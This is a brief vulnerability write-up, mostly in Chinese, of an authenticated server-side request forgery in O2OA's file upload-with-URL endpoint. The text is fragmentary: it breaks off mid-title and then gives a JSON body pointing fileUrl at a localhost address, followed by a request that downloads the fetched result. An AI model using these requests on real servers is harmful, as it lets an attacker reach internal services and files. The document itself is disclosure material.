# 漏洞总结：O2OA 认证 SSRF 漏洞 ## 漏洞概述 **标题**：Authenticated SSRF in `/x_file_assemble_control/jaxrs/file/upload/with/url` via unrestricted fileUrl fetching (O2OA Content-Type: application/json Cookie: { "fileUrl": "http://127.0.0.1:8081/ssrf_test.txt", "fileName": "ssrf_test.txt" } ``` **4. 下载利用结果：** ```bash GET /x_file_assemble_control/jaxrs/file/{returned_file_id}/download HTTP/1.1 Host: Cookie: ``` *(注：`{returned_file_id}` 为上传接口响应中返回的文件标识符)*